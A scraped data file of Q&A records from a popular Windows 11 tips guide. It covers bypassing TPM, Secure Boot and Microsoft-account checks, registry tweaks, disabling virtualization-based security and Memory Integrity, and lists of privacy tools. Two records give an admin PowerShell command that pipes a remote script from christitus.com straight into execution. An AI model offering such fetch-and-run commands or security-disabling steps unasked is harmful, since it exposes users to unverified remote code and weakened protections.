{"id": "gh_21d2a64dab69", "question": "How to: Bypass Windows 11 Requirements", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n**Note 1: Before performing any upgrade to your system make sure to do a full backup of your system in case anything happens during the upgrade process!**\n\n**Note 2: Some anti-cheat software for video games(like Valorant) will require TPM, Secure Boot on Windows 11.**\n\n[Ways to install Windows 11 on Unsupported hardware | Microsoft Support](https://support.microsoft.com/en-us/windows/ways-to-install-windows-11-e0edbbfb-cfc5-4011-868b-2ce77ac7c70e)\n\n[Fido](https://github.com/pbatard/Fido) is a PowerShell script that is primarily designed to be used in [Rufus](https://github.com/pbatard/rufus), but that can also be used in standalone fashion, and whose purpose is to automate access to the official Microsoft Windows retail ISO download links as well as provide convenient access to bootable UEFI Shell images.\nFido\n**OR**\n\n[Rufus](https://rufus.ie/) is a utility that helps format and create bootable USB flash drives.\nRufus\n**In Rufus 3.19:**\n\nAdd a new selection dialog for Windows 11 setup customization:\n\n  * Secure Boot and TPM bypass have now been moved to this dialog.\n  * Allows to bypass the mandatory requirement for a Microsoft account on Windows 11 22H2.\n    **(Note: Network must be temporarily disabled for the local account creation to be proposed).**\n  * Added an option to skip all collection questions (Sets all answers to “Don’t allow”).\n  * Added an option for setting internal drives offline for Windows To Go.\nRufus 3.19 Windows 11 setup customization.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521137"}
{"id": "gh_bf0268b957ba", "question": "How to: Creating a Local Account on Windows 11 Home and Pro", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n**In Windows 11 Home and Pro editions Microsoft will require you to sign-in with Microsoft Account. Though, by following these simple steps below you can create a Local Account on the your Windows 11 device.**\nMicrosoft Account Sign-in on Windows 11\n**Before we begin this process make sure to not connect your Wi-Fi or unplug your Ethernet cable if you use one.**", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521144"}
{"id": "gh_8b6948e49a5b", "question": "How to: Steps 1-5:", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "1. Press keys **Shift + F10** this will open the Windows Command prompt as System.\n2. Then type **taskmgr** and Press Enter.\n3. This opens up the **Task Manager**. Click the **more details** option in the bottom left corner.\n4. Now scroll down til you see **Network Connection Flow**. Right click on the process and select **End task**.\n5. You will now see on the Windows screen that you can sign-up for a Local account.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521151"}
{"id": "gh_48edaefe796e", "question": "How to: Removing the Windows 11 Watermark", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\nThe simplest way to do this is with Winarows Universal Water Mark Disabler which can be found at https://winaero.com/download-universal-watermark-disabler/\n\nThere’s also a manual a way to remove the Windows 11 watermark. It’s important to know that removing the watermark does include editing some system registry files. So, do this at your own risk, and be careful.\n\n - 1.  Access the Registry Editor by typing **‘Regedit’** in the Windows 11 search box and hitting OK to open it.\n  \n - 2.  On the left side, open up **HKEY_CURRENT_USER** and scroll down to the **Control Panel**.\n  \n - 3.  Find the entry called **UnsupportedHardwareNotificationCache**.\n  \n - 4. **Right-click** that entry and select **‘Modify’** from the menu.\n  \n - 5. Change the **SV2 DWORD** value from 1 to **0**.\n  \n - 6. Save, exit, and then restart your PC.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521160"}
{"id": "gh_ff7c7fc5e5e0", "question": "How to: Optimizing Windows 11", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[![Debloat Windows 11 Installations With Just 2 Clicks](https://ytcards.demolab.com/?id=mZm6mY3I7J4&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"Debloat Windows 11 Installations With Just 2 Clicks\")](https://www.youtube.com/watch?v=mZm6mY3I7J4) \n[![The Perfect Windows 11 Install](https://ytcards.demolab.com/?id=6UQZ5oQg8XA&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"The Perfect Windows 11 Install\")](https://www.youtube.com/watch?v=6UQZ5oQg8XA) \n[![Windows 11: Debloat and Optimize for Ultimate Performance](https://ytcards.demolab.com/?id=hdrsHMko17k&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"Windows 11: Debloat and Optimize for Ultimate Performance\")](https://www.youtube.com/watch?v=hdrsHMko17k)\n[![How to Debloat, Speedup and Remove Unwanted Features from Microsoft Edge](https://ytcards.demolab.com/?id=J4k6o-6PToQ&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"How to Debloat, Speedup and Remove Unwanted Features from Microsoft Edge\")](https://www.youtube.com/watch?v=J4k6o-6PToQ)\n[![Making the Best Windows ISO](https://ytcards.demolab.com/?id=xLCWtC6UYrM&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"Making the Best Windows ISO\")](https://www.youtube.com/watch?v=xLCWtC6UYrM)\n[![Create A Custom Windows 10 or 11 ISO using NTLite](https://ytcards.demolab.com/?id=_gMJNQ3yWNE&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"Create A Custom Windows 10 or 11 ISO using NTLite\")](https://www.youtube.com/watch?v=_gMJNQ3yWNE)  \n\n[BloatyNosy](https://github.com/builtbybel/BloatyNosy) is a tool that streamlines and houses all the essential settings under one app and allows you to disable and remove unnecessary features with just a simple click.\n[Chris Titus Tech Windows Utility](https://github.com/ChrisTitusTech/winutil) is a tool that helps you install Programs, Tweaks, Fixes, and Updates. It makes Windows 11 setup easy and optimizes your machine. [The Ultimate Windows Utility | Chris Titus Tech YouTube.](https://www.youtube.com/watch?v=tPRv-ATUBe4)\n\nThe recommended way is to right click on the start menu and select (Windows Terminal As Admin Windows 11)\n\n**Launch Command:**\n\n```iwr -useb https://christitus.com/win | iex```\n\nOr\n\n```irm christitus.com/win | iex```\n[Process Lasso](https://bitsum.com/) is a tool for real-Time CPU Optimization and Automation.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521169"}
{"id": "gh_b39d76ef95bd", "question": "How to: Disable/Turnoff unwanted Apps on your Windows system", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "With Windows 11 a lot system resources such as CPU and Ram are taken up when your system starts up. There are serval ways turnoff/disable apps from auto-starting when you log-in to Windows 11 \n\nFirst way to stop auto-start apps is through Startup folder in the Windows settings.\nSecond way to stop auto-start apps is through Task Manager. Open task manager in the start menu.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521175"}
{"id": "gh_63fbe8164d28", "question": "How to: Turnoff VBS", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "**Virtualization Based Security (VBS)** can slow apps (and games) down by **5 to 15% in Windows 11** especially if you're on an **AMD system**.\n\n * 1. **Open System Information**. Do this by searching for \"system information\" in Windows search and clicking the top result.\n\n * 2. Scroll down to find the \"Virtualization-based security\" row. If it says \"running,\" VBS is enabled. But if it says \"not enabled,\" then you're done.\n\n**Below are different are Two Ways you can disable VBS in Windows 11:**\n\n**Disable VBS/HVCI in Windows 11**\n\n * 1. Search for Core Isolation in Windows search and click the top result.\n\n * 2. Toggle Memory Integrity to off, if it was on. \n\n * 3. Reboot your PC as prompted.\n\n * 4. Check **System Information** again to see if virtualization-based security is listed as \"not enabled.\" \n\n**Disable VBS By Uninstalling Virtual Machine**\n\nIf VBS is running, you can get rid of it by uninstalling the **\"Virtual Machine\"** feature in Windows. **Note:** that if this is the feature that's enabling VBS for you, losing it may cost you the ability to run **Windows Subsystem for Linux 2 (WSL2)**.\n\n * 1. Open Turn Windows Features on or Off by searching for it.\n\n * 2. Uncheck Virtual machine and click Ok.\n\n * 3. Reboot your PC.\n\n * 4. Check **System Information** again to make sure virtualization based security is listed as \"not enabled.\"", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521183"}
{"id": "gh_59a8f0768534", "question": "How to: Ways to Customize Windows 11 Look and Feel", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n[Chris Titus Tech Windows Utility](https://github.com/ChrisTitusTech/winutil) is the Ultimate Windows 10 & 11 script designed to be a swiss army knife of Windows tools to help setup and optimize machines. [The Ultimate Windows Utility | Chris Titus Tech YouTube.](https://www.youtube.com/watch?v=tPRv-ATUBe4)\n\n**Paste this command into Powershell (admin):**\n\n```iwr -useb https://christitus.com/win | iex```\n[WingetUI](https://github.com/martinet101/WingetUI) is a GUI Store for the most common cli package managers, such as Winget and Scoop. It's developed by [Martí Climent AKA martinet101](https://github.com/martinet101).\n[ViVe](https://github.com/thebookisclosed/ViVe) is a C# library you can use to make your own programs that interact with Windows 10/11's A/B feature mechanism.\n[O&O ShutUp10++](https://www.oo-software.com/en/shutup10) is a free tool that let's you have full control over which comfort functions under **Windows 10 and Windows 11** you wish to use, and you decide when the passing on of your data goes too far.\n[NTLite ($40)](https://www.ntlite.com/) is a local Windows configuration tool for updating and editing Windows images and deployments made for IT professionals and enthusiasts.\n\n**Features:**\n\n * Download Latest Windows Updates.\n * Integrate/Install Updates and Languages.\n * Integrate Drivers, Applications and REG files.\n * Unattended Windows Setup, including Disk Partitioning.\n * Hardware Driver Targeting.\n * Windows Settings Configuration.\n * Component Removal.\n * Image, live (e.g. C:\\Windows) and offline (e.g. D:\\Windows, mounted VHD etc) editing *no capturing.\n * Pending Changes Overview.\n[WinPaletter](https://github.com/Abdelrhman-AK/WinPaletter) is a tool to colorize Windows 10/11 Accents without restrictions. It was created/developed by [Abdelrhman-AK](https://github.com/Abdelrhman-AK/).\n[SecureUxTheme](https://github.com/namazso/SecureUxTheme) is a secure boot compatible in-memory UxTheme patcher.\n[Files](https://github.com/files-community/Files) is a file manager for Windows with a powerful yet intuitive design. It has features like multiple tabs, panes, columns, shell extensions in the context menu and tags.\n\n[EverythingToolbar](https://github.com/srwi/EverythingToolbar) is a tool that provides instant file search integration for the Windows taskbar powered by [Everything](https://www.voidtools.com/). It's compatible with both Windows 10 and Windows 11 and works well with tools like [ExplorerPatcher](https://github.com/valinet/ExplorerPatcher) and [StartAllBack](https://www.startallback.com/) to give you the full deskband integration even on Windows 11.\n\n[Wintoys](https://apps.microsoft.com/store/detail/wintoys/9P8LTPGCBZXD?hl=en-us&gl=us) is a tool that improves your Windows experience in your way and keep it fresh every day. Set up, debloat, optimize, repair, and tweak your operating system in a simple, time-saving, yet safe approach. Maintain it in a clean, healthy and productive state while having everything you need in one place.\n\n[Sysinternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) is the entire set of Sysinternals Utilities rolled up into a single download. Also, checkout the [Sysinternals Utilities Index](https://docs.microsoft.com/en-us/sysinternals/downloads/).\n\n[ExplorerPatcher](https://github.com/valinet/ExplorerPatcher) is a tool that restores the taskbar, start menu, context menus, explorer, style and order back to the Windows 7 & 10 style.\n\n[Directory Opus](https://www.gpsoft.com.au/) is a complete replacement for Explorer, with far more power and functionality than any other file manager available today. Image marking lets you sort your photos quickly and easily.\n\n[ClickPaste](https://github.com/Collective-Software/ClickPaste) is a Windows 10/11 notification area appthat can paste clipboard contents as keystroke", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521202"}
{"id": "gh_b88a18442583", "question": "How to: General Drivers", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Snappy Driver Installer(SDI) Origin](https://www.snappy-driver-installer.org) is a portable Windows tool to install and update device drivers. It can be used offline to install drivers where Internet isn't available. No more searching for drivers after a clean install of Windows 10/11.\nSnappy Driver Installer(SDI) Origin\n[Download Display Driver Uninstaller(DDU)](https://www.guru3d.com/files-details/display-driver-uninstaller-download.html) is a driver removal utility that can help you completely uninstall AMD/NVIDIA graphics card drivers and packages from your system, without leaving leftovers behind (including registry keys, folders and files, driver store). \n\n**Recommended usage:**\n\n  * The tool can be used in Normal mode but for absolute stability when using DDU, Safemode is always the best.\n  * Make a backup or a system restore (but it should normally be pretty safe).\n  * It is best to exclude the DDU folder completely from any security software to avoid issues.\nDownload Display Driver Uninstaller(DDU)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521211"}
{"id": "gh_b6d0ba084a43", "question": "How to: Microsoft Office Alternatives", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n[OnlyOffice](https://www.onlyoffice.com/) is a secure offline/online office suite highly compatible with MS Office formats  for Windows, Mac and Linux.\nOnlyOffice\n[FreeOffice](https://www.freeoffice.com/) is a secure office suite highly compatible with MS Office formats for Windows, Mac and Linux.\nFreeOffice\n[LibreOffice](https://www.libreoffice.org/) is a free and open-source office productivity software suite similar to Microsoft Office.\nLibreOffice", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521218"}
{"id": "gh_05e04f6a93e0", "question": "How to: Replacing OneDrive with Nextcloud", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n**Replacing these OneDrive services:**\n\n  * File sync (“Microsoft OneDrive”) -> [Nextcloud Files](https://nextcloud.com/files/)\n  * Photos (“iCloud Photo Library”) -> [Nextcloud Photos](https://github.com/nextcloud/photos)\n  * Mail -> [Nextcloud Mail](https://apps.nextcloud.com/apps/mail) + [SnappyMail](https://apps.nextcloud.com/apps/snappymail)\n  * Contacts -> [Nextcloud Contacts](https://apps.nextcloud.com/apps/contacts)\n  * Calendar -> [Nextcloud Calendar](https://apps.nextcloud.com/apps/calendar)\n  * Reminders -> [SnappyMail](https://apps.nextcloud.com/apps/snappymail)\n  * Browser sync  -> [Nextcloud Bookmarks](https://apps.nextcloud.com/apps/bookmarks) or [Floccus](https://floccus.org/)\n  * Notes -> [Nextcloud Notes](https://apps.nextcloud.com/apps/notes)\n  * Password sync (“Keychain”) -> [KeePass DB on Nextcloud](https://apps.nextcloud.com/apps/keeweb)\n  * Remote access (“Back to my mac”) -> [Tailscale](https://tailscale.com/) + [docker-ddns](https://github.com/dprandzioch/docker-ddns)\n  * Office for OneDrive -> [Nextcloud with Onlyoffice](https://nextcloud.com/onlyoffice/) or [Collabora Online in Nextcloud](https://nextcloud.com/collaboraonline/)\n  * News -> [Miniflux](https://miniflux.app/) with [Fever API](https://miniflux.app/docs/services.html)\n  * Audiobooks -> [audiobookshelf](https://www.audiobookshelf.org/)\n  * Repository Hosting -> [GitLab](https://gitlab.com/)\n\n[Nextcloud](https://nextcloud.com) is an industry-leading, on-premises content collaboration platform for file sync & share and communication server. It is fully open source and you can host it yourself or pay a company to do it for you. Also checkout the following links below:\n\n   - [Nextcloud App Store](https://apps.nextcloud.com)\n\n   - [Nextcloud GitHub](https://github.com/nextcloud)\n\n   - [Nextcloud Developer Program](https://nextcloud.com/developer)\nNexcloud login screen\n[Nextcloud Hub](https://nextcloud.com/hub/) is a tool that allows you to share and collaborate on documents, send and receive email, manage your calendar and have video chats without data leaks. As fully on-premises solution, Nextcloud Hub provides the benefits of online collaboration without the compliance and security risks.\nNexcloud Hub\n[Nextcloud AIO (All In One)](https://github.com/nextcloud/all-in-one) is a tool that provides easy deployment and maintenance with most features included in this one Nextcloud instance. \n\n**Features it includes:**\n\n   * Nextcloud\n   * Nextcloud Office\n   * High performance backend for Nextcloud Files\n   * High performance backend for Nextcloud Talk\n   * Backup solution (based on BorgBackup)\n   * Imaginary\n   * ClamAV\n   * Fulltextsearch\n\n[Nextcloud Desktop Client](https://nextcloud.com/install/#install-clients) is a tool to synchronize files from Nextcloud Server with your computer.\n\n[Nextcloud Deck](https://apps.nextcloud.com/apps/deck) is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud.\n\n[Nextcloud Files](https://nextcloud.com/files/) is a tool tool that allows your employees have easy access to their files, photos and documents to work and can share and collaborate with team members, customers and partners. So IT knows nobody besides those they shared with has access to those files.\n\n[Nextcloud Talk](https://nextcloud.com/talk/) is a tool that protects your communication better than other team collaboration platforms like Microsoft Teams or Slack, making sure your data stays on your servers. It also goes further than other encrypted communication technologies by keeping even metadata from leaking.\n\n[Nextcloud Home](https://nextcloud.com/athome/) is a tool that allows you store your documents, calendar, contacts and photos on your server at home, at one of at one Nextcloud's providers or in a data center you trust.\n\n[Nextcloud Enterprise](https://nextcloud.com/enterprise/) is a service that gives professional organizations software optimized and tested for mission critical environments.\n\n[Nextcloud Outlook Integration](https://nextcloud.com/outlook/) is a tool that automatically upload files to replace large attachments or integrate Calendars and Contacts in Microsoft Outlook.\n\n[Collabora Online in Nextcloud](https://nextcloud.com/collaboraonline/) is a powerful LibreOffice-based online office suite with collaborative editing, which supports all major document, spreadsheet and presentation file formats and works in all modern browsers.\n\n[ONLYOFFICE integration in Nextcl", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521239"}
{"id": "gh_40ad8d05b52d", "question": "How to: Secure & Privacy Focused Web Browsers", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)\n\n[Mozilla Firefox](https://www.mozilla.org/firefox/) is a free and open-source web browser developed by the Mozilla Foundation.\nFirefox\n[LibreWolf](https://librewolf.net/) is an open-source web browser designed to increase protection against tracking and fingerprinting techniques, while also including a few security improvements. It removes all the telemetry, data collection and annoyances, as well as disabling anti-freedom features like DRM.\nLibreWolf\n[Brave](https://brave.com/) is a fast, private and secure web browser for PC, Mac and mobile. It comes with [Brave Search](https://brave.com/search/), which is a private search engine that puts you first, not big tech for those that don't want to use Google Search.\nBrave\n[Ungoogled-Chromium](https://github.com/ungoogled-software/ungoogled-chromium) is a lightweight approach to removing Google web service dependency.\nUngoogled-Chromium\n[Vivaldi](https://vivaldi.com/) is a fast, private and secure web browser for PC, Mac and mobile. It comes with built-in features like Notes, Screen Capture, Image Properties and (a lot) more.\nVivaldi\n[Ghostery Dawn](https://www.ghostery.com/dawn) is a fast, private and secure web browser for PC, Mac and mobile. It comes with the complete Ghostery Privacy Suite including [Ghostery Glow](https://www.ghostery.com/glow) a private search engine that does not log your search history, which means you get served objective results, not results that are filtered by the likelihood you’ll click on them.\nGhostery Dawn", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521253"}
{"id": "gh_e6bf58c40ca8", "question": "How to: Privacy & Security Focused Browser extensions", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[UBlock Origin](https://ublockorigin.com/) is a free and open-source, cross-platform browser extension for content filtering primarily aimed at neutralizing privacy invasion in an efficient, user-friendly method.\n\n * [Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/)\n * [Chrome extension](https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm)\n\n[Privacy Badger](https://privacybadger.org/) is a browser extension that automatically learns to block invisible trackers.\n\n * [Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/privacy-badger17/)\n * [Chrome extension](https://chrome.google.com/webstore/detail/privacy-badger/pkehgijcmpdhfbdbbnkijodmdjhbjlgp)\n\n[DuckDuckGo Privacy Essentials](https://duckduckgo.com/app) is an extension that seamlessly helps prevent your personal information from being exposed during everyday online activity. \n\n * [Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/duckduckgo-for-firefox/)\n * [Chrome extension](https://chrome.google.com/webstore/detail/duckduckgo-privacy-essent/bkdgflcldnnnapblkhphbgpggdiikppg?hl=fr)\n\n[Ghostery](https://www.ghostery.com/ghostery-browser-extension) is a comprehensive privacy protection Ad Blocker browser extension.\n\n * [Firefox extension](https://www.ghostery.com/ghostery-ad-blocker-firefox)\n * [Chrome extension](https://www.ghostery.com/ghostery-ad-blocker-chrome)\n\n[HTTPS Everywhere](https://www.eff.org/https-everywhere)  is an extension created by EFF and the Tor Project which automatically switches thousands of sites from insecure \"http\" to secure \"https\".\n\n * [Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/https-everywhere/)\n * [Chrome extension](https://chrome.google.com/webstore/detail/https-everywhere/gcbommkclmclpchllfjekcdonpmejbdp?hl=en)\n\n[CleanURLs](https://gitlab.com/KevinRoebert/ClearUrls) is an extension will automatically remove tracking elements from URLs to help protect your privacy when browsing through the Internet.\n\n * [Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/clearurls/)\n * [Chrome extension](https://chrome.google.com/webstore/detail/clearurls/lckanjgmijmafbedllaakclkaicjfmnk/)\n\n**PixelBlock** is an Gmail extension that blocks email tracking attempts used to detect when you open and read emails. \n\n * [Chrome extension](https://chrome.google.com/webstore/detail/pixelblock/jmpmfcjnflbcoidlgapblgpgbilinlem/)\n\n[Sitejabber](https://www.sitejabber.com/) is an extension for consumers to find trustworthy online businesses and avoid scams.\n\n[Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/sitejabber/)\n\n[Chrome extension](https://chrome.google.com/webstore/detail/sitejabber-ratings-review/ckiddbafgcfifpioacgfijgicacanflo)\n\n[1Password](https://1password.com/) is a password manager that provides a place for users to store various passwords, software licenses, and other sensitive information in a virtual vault that is locked with a PBKDF2-guarded master password.\n\n * [Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/1password-x-password-manager/)\n * [Chrome extension](https://chrome.google.com/webstore/detail/1password-%E2%80%93-password-mana/aeblfdkhhhdcdjpifhhbdiojplfjncoa?hl=en)\n\n[Bitwarden](https://bitwarden.com/) is a free and open-source password management service that stores sensitive information such as website credentials in an encrypted vault.\n\n * [Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager/)\n * [Chrome extension](https://chrome.google.com/webstore/detail/bitwarden-free-password-m/nngceckbapebfimnlniiiahkandclblb)\n\n[Guardio](https://guard.io/) is a lightweight extension designed to help you browse quickly and securely. It will clean your browser, speed it up, and protect your private information.\n\n * [Chrome extension](https://chrome.google.com/webstore/detail/guardio-protection-for-ch/gjfpmkejnolcfklaaddjnckanhhgegla)\n\n[OneTab](https://www.one-tab.com/) is an extension that converts your tabs to a list and speeds up your browser.\n\n * [Firefox extension](https://addons.mozilla.org/en-US/firefox/addon/onetab/)\n * [Chrome extension](https://chrome.google.com/webstore/detail/onetab/chphlpgkkbolifaimnlloiipkdnihall)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521265"}
{"id": "gh_22dd6852a4d4", "question": "How to: Privacy-focused Search Engines", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n * [Brave Search](https://brave.com/search/)\n* [Ghostery Glow](https://www.ghostery.com/glow)\n* [DuckDuckGo](https://duckduckgo.com/)\n* [Startpage](https://www.startpage.com/)\n* [Qwant](https://www.qwant.com/)\n* [Ecosia](https://www.ecosia.org/)\n* [Swisscows](https://swisscows.com/)\n* [searX](https://searx.info/)\n* [Mojeek](https://www.mojeek.com/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521275"}
{"id": "gh_7170bb37bed0", "question": "How to: Systems Management", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n**Systems management** is a range of tasks, ranging across infrastructures, operating systems and applications.\n\n * [System Management Components overview - Windows Server](https://learn.microsoft.com/troubleshoot/windows-server/system-management-components/system-management-components-overview)\n * [Azure Active Directory is Becoming Microsoft Entra ID | Microsoft Azure](https://azure.microsoft.com/products/active-directory/)\n * [Microsoft Entra - Secure Identities and Access | Microsoft Security](https://www.microsoft.com/security/business/microsoft-entra)\n * [Active Directory Domain Services | Microsoft Learn](https://learn.microsoft.com/windows-server/identity/ad-ds/active-directory-domain-services)\n * [Microsoft 365 Products, Apps, and Services | Microsoft 365](https://www.microsoft.com/microsoft-365/products-apps-services)\n * [Systems management 101: An ultimate guide](https://zapier.com/blog/systems-management/)\n*  **[Active Directory](https://learn.microsoft.com/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview)** is a directory service developed by Microsoft for Windows domain networks. It is included in most Windows Server operating systems as a set of processes and services. \n \n * **[Microsoft 365](https://www.microsoft.com/microsoft-365)** is a subscription that includes the most collaborative, up-to-date features in one seamless, integrated experience. It includes productivity tools such as Microsoft Word, Excel, PowerPoint, Microsoft Teams, Outlook, OneDrive, and more all in one place. \n \n * **[Microsoft Entra ID (formerly Azure Active Directory)](https://learn.microsoft.com/entra/)** is a service that manages user identities and control access to your apps, data, and resources. It protects, monitors, and audits access to critical assets in your organization.\n \n * [Activepieces](https://www.activepieces.com) is a No-code business automation tool like Zapier or Tray. For example, you can send a Slack notification for each new Trello card. \n\n * [ActiveWorkflow](https://github.com/automaticmode/active_workflow)  is an intelligent process and workflow automation platform based on software agents. \n \n * [AdvancedRun](https://www.nirsoft.net/utils/advanced_run.html) is a simple tool for Windows that allows you to run a program with different settings that you choose, including - low or high priority, start directory, main window state (Minimized/Maximized), run the program with different user or permissions, Operating system compatibility settings, and environment variables. You can also save the desired settings into a configuration file and then run the program automatically from command-line with the desired settings. \n\n * [AllThreadsView](https://www.nirsoft.net/utils/all_threads_view.html) is a simple tool for Windows that displays a list of all running threads from all processes on your system in one table. For every thread, the following information is displayed: Thread ID, Creation Time, Kernel Time, User Time, Duration, Start Address, Priority, Base Priority, Context Switch Count, Context Switch Change (Since the last refresh), Wait Reason, Process ID, Process Path. \n\n * [Automatisch](https://automatisch.io) is a Business automation tool that lets you connect different services like Twitter, Slack, and more to automate your business processes (Open source Zapier alternative). \n\n * [Baserow](https://baserow.io/) is an Open source online database tool and Airtable alternative. Create your own database without technical experience. \n  \n * [BlueScreenView](https://www.nirsoft.net/utils/blue_screen_view.html) is a tool that scans all your minidump files created during **'blue screen of death'** crashes, and displays the information about all crashes in one table. For each crash, BlueScreenView displays the minidump filename, the date/time of the crash, the basic crash information displayed in the blue screen (Bug Check Code and 4 parameters), and the details of the driver or module that possibly caused the crash (filename, product name, file description, and file version). \n \n * [BulkFileChanger](https://www.nirsoft.net/utils/bulk_file_changer.html) is a small utility that allows you to create files list from multiple folders, and then make some action on them - Modify their created/modified/accessed time, change their file attribute (Read Only, Hidden, System), run an executable with these files as parameter, and copy/cut paste into Explorer. \n\n * [ChiefOnboarding](https://chiefonboarding.com) is a Employee onboarding platform that allows you to provision user accounts and create sequences with todo items, resources, text/email/Slack messages, and more! Available as a web portal and Slack bot. \n\n * [Datasette](https://datasette.io/) is an open source multi-tool fo", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521298"}
